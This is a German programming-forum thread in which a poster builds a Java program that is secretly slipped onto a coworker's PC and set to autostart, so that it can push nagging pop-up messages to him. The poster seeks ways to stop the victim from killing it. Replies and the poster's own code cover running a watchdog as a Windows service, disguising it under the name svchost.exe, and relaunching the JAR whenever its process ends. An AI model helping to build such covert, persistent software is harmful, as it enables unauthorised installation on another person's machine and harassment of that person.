Anwendung beim Beenden neustarten

PsychedelicSpark

Grünschnabel
Hallo zusammen.

Ich habe einen Auftrag erhalten, ein Programm zu schreiben, welches einen Mitarbeiter etwas plagen soll (ist kein Witz! :D) .

So habe ich also etwas geschrieben, welches ich mit Java in Verbindung mit JSF realisiert habe.

Aufbau:
Das Ganze ist eine simple Client-Server Verbindung, wobei der Rechner des Kollegen der Server ist.
Serverseitig ist es eine JAR, welche in den Rechner eingeschleust und in den Autostart hinzugefügt wird.
Clientseitig ist es ein alter Notebook, der im Dauerbetrieb ist, worauf eine JSF Seite per Apache Tomcat läuft.

Anwendung:
Auf der JSF Page schreibt man eine Nachricht in eine inputTextarea ein und klickt auf den "Senden" Button.
Ein angegebenen Rechner per IP wird angepeilt, es wird eine Connection aufgebaut und beim angepeilten Rechner erscheint dann ein JFrame mit dem Inhalt der Nachricht, die ihm zugesandt wurde.

So weit funktioniert das auch.
Nur sehe ich da ein Problem.
Wenn der geliebte Mitarbeiter nun den Taskmanager öffnen und einfach den javaw.exe Prozess killen würde, hätte er schon ruhe.
Genau dies will ich aber verhindern.
Darum die Frage: Kann man eine JAR (bzw. den Prozess) dazu bringen, sich selbst aufzurufen, wenn sie beendet wird?

Es muss auch nicht zwingend mit Java realisierbar sein.
Kann auch sonst mit irgend einer Script-Sprache oder so umgesetzt werden.

Wäre echt froh um ein paar Tipps! :)


Noch zum unterstreichen: NEIN, ich bin kein Fiesling und das Fremde hetzen. Es geht nur um den einen Mitarbeiter.. :p
 
Hi

unabhängig davon, dass ich das auch bei nur einem Mitarbeiter nicht gut finde:
Geht nicht.

Wenn ein Programm normal beendet wird, schon.
Taskmgr ist aber nicht normal.
Die Java-Runtime merkt dabei gar nicht, dass sie gleich gekillt wird.

Da bräuchte man einen zweiten Prozess, der aufpasst.
Der kann aber genauso beendet werden.

Wenn du eine vergleichsmäßig sichere Möglichkeit suchst:
-Lern C.
-Schau dir den Selbstschutz von Antivirenprogrammen an. Rootkittechniken usw...
-In ein paar Jahren kannst du dich wieder melden :D

Gruß
 
Miist.. Dacht ichs mir doch..

Habe jetzt einen neuen Plan.
Und zwar werde ich versuchen, mit C ein Programm mit dem Namen svchost.exe (damit es nicht ganz so auffällig ist) zu schreiben und mit Hilfe dieses Programms überprüfen, ob javaw.exe noch am laufen ist oder nicht.
Wenn ja, ist alles gut und wenn nicht, dann soll es die JAR ausführen.

Das Problem ist, dass ich C seit über einem Jahr nicht mehr gewagt habe anzufassen, was mich offensichtlich einiges vergessen liess..

Wie kann ich die Ausgabe eines System-Befehls in eine Variable speichern? o_Oi

Mein Versuch schaut so aus:
C:
    char poke[5000];
    char filter[]="javaw.exe";

    strcpy(poke, system("tasklist"));

    printf("%s", poke);


    if(strstr(filter, poke)==NULL)
        printf("nicht gefunden\n");
    else
        printf("gefunden\n");

Aber irgendwie meldet der Compiler einen Fehler, wenn ich das versuche :s
Woran liegt das?
 
Na das bringt es ja ... eine Anwendung zu schreiben welche "zufällig" so heißt wie ein System-Dienst. Das Problem : es fällt sehr schnell auf das eine svchost.exe NICHT von SYSTEM oder SERVICE gestartet wurde sondern vom User selbst .... wesshalb er die Rechte hat diese zu killen ...
Wenn man schnell genug ist hat man auch wieder ruhe.

Ich würde das noch viel einfacher machen : Benutzerrechte
Wir alle wissen das ein User *hier mal A* der nur über "normale" Rechte verfügt nicht den User *natürlich B* manipulieren kann.
Das wohl bekannteste Beispiel ist der Schutz von System-Ordnern der WinNT Familie *NT4 , 2k , XP und alles danach*. Es gibt einen versteckten User mit dem Namen "SYSTEM".
Um seine Position klar zustellen muss ich mal etwas aus dem Unix Umfeld ausholen :
Unter NT gibt es einen User mit dem Namen Administrator. Er ist vergleichbar mit ROOT unter Unix. System ist jetzt aber noch etwas mächtiger weil dieser "User" das Kernel repräsentiert. Mit Unix verglichen wäre es dann also das Kernel selbst welches die existenz von Root er ermöglicht.

Natürlich gibt es unter Windows noch eine Reihe anderer System-User wie LocalService, LocalNetworkService, ScriptHost, und einige andere ...

Was hat das mit deinem Problem zu tun ? Nun ... am einfachsten wäre es sich nun als Administrator einzuloggen und einen neuen Dienst zu erstellen welcher für die überwachung des Programms zuständig ist. Das funktioniert auch mit Java.
Diesen Dienst dann natürlich noch auf Autostart stellen und entsprechend Rechte vergeben ... und schon man eine solche "Nerv-Bombe" fertig.

Warum hilft das ? Nun ... da der User natürlich keine Rechte hat andere User zu manipuliere *von den "höherranigen" System-Usern mal gaanz zu schweigen* ist es ihm nicht möglich einen Dienst zu manipulieren welcher von System oder LocalService gestartet wurde. Der User würde dann beim Versuch java.exe über den Taskmanager zu killen lediglich eine Meldung bekommen das er dazu keine Rechte hat.

*Funktioniert analog natürlich auch ähnlich unter Unix*

Diese Variante hat zwei Vorteile
1) Ist für "fast" jede Programmiersprache geeignet.
2) Ist deutlich sicherer als andere Verfahren da hier das Rechtesystem genutzt wird.
 
Zuletzt bearbeitet von einem Moderator:
Huhu,

Wenn es sich um Windows XP Professional handelt, könnte man "net send" benutzen, und unter Windows Vista/7 ab Professional msg.exe.

Damit kann eine Nachricht zu einem angegebenen Computer im Netzwerk schicken.

Da steht dann sowas wie:

Nachricht von COMPUTERNAMEHIER:
<NACHRICHT HIER>

Den Nachrichtendienst kann man aber soweit ich weiß deaktivieren...


Die Methode von SPiKEe ist gut durchdacht und einen Versuch wert.
Am besten man schreibt sich für das Java Programm noch zusätzlich einen Wrapper, welcher die jvm.dll instanziert und den eigenen Prozessnamen benutzt.

Die einzige Schwachstelle ist die JVM selbst, sowie die ausfühbare Datei (jar, exe...).
Wenn man die löscht, ist's aus.

Da müsste man noch ein bisschen weiter an den Rechten schrauben.
 
Ich habe jetzt eine zusätzliche kleine Java-Anwendung geschrieben, die ich mit exe4j zu einem EXE umwandelte und habe sie als Dienst installiert.
Dieser Dienst überprüft, ob javaw.exe oder java.exe am laufen ist. Wenn ja, schläft er für 3 Sekunden. Wenn nicht, dann ruft er die JAR mit java -jar auf.

So weit, so gut, aber da bleiben immer noch ein paar Fragen übrig:

1) Wieso heisst der Prozess java.exe, wenn er vom Dienst gestartet wird? Bei einem Doppelklick oder sonstigem Aufruf als User heisst der Prozess javaw.exe.
2) Wie kann das sein, dass die Nachrichtenübermittlung nur funktioniert, wenn ich die JAR als User ausführe, nicht aber wenn der Dienst sie aufruft****
3) Wie stellt man denn ein, dass Prozesse vom SYSTEM User nicht beendet werden können? Ich kann sie auf jeden Fall problemlos beenden, als User in der Administratorengruppe...
 
Wenn du dir den aufwand schon machst und einen Java-Launcher in eine Exe umwandelst ... warum startest du dann aus diesem Launcher deine Anwendung über einen Process ? ... Lad dein app doch einfach als Member , instanziere sie und führen dann die start-Methode aus. Du denkst hier viel zu kompliziert.

Einen Dienst via SYSTEM starten und dann noch vehindern das er nicht von nem Admin gekillt werden kann ? Tja ... nur möglich wenn du dich als SYSTEM einloggst und den Dienst mit entsprechenden Parametern *critical* erstellst. Aber um dich als SYSTEM einzuloggen bedarf es schon ein paar Tricks die du so einfach nicht umsetzen können wirst. Warum ist der User den du mit deiner Java-Anwendung überwachen willst eigentlich in der Admin Gruppe ? ... Dann nützt es auch nichts mit dem Rechtesystem zu arbeiten wenn du es dadurch wieder aushebelst.
 
Lad dein app doch einfach als Member , instanziere sie und führen dann die start-Methode aus. Du denkst hier viel zu kompliziert.
... Hä?
Und jetzt auf Deutsch?
Das ist mir jetzt grad irgend wie zu hoch.. (o_Oi)

Warum ist der User den du mit deiner Java-Anwendung überwachen willst eigentlich in der Admin Gruppe ?
Ist halt unser Firmenstandart. Jeder Domänen-User hat lokale Admin Rechte.
Das ist ja gerade der Knifflige daran.

Aber ich kann mir immer noch nicht erklären, wieso das Ganze nicht auf meine Art wie oben beschrieben funktioniert :s
Klar, wäre es auch nicht die ultimative Lösung, da man ja immer noch den Prozess killen kann, der vom Dienst kommt, aber er würde sich immerhin etwas besser tarnen lassen, da im Taskmanager als User SYSTEM angegeben ist.

Vielleicht mache ich das ja auch komplett verkehrt, mit dem JAR aufruf:
Java:
while(true)
{
	Runtime rt = Runtime.getRuntime();
	Process proc = rt.exec("tasklist");
	BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));

	String poke="";
	String poke2="";
	
	while(poke!=null)
	{
		poke=stdInput.readLine();
		poke2+=poke;
	}
	
	if(poke2.indexOf("javaw.exe")!=-1 || poke2.indexOf("java.exe")!=-1)
	{
		try
		{
			Thread.sleep(3000);
		}
		catch (InterruptedException e)
		{
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
	else
		rt.exec("java -jar C:\\PokeTheJan2.jar");
}

Habe ich da einen Denkfehler drin? :?
 
Zuletzt bearbeitet:

Neue Beiträge

Zurück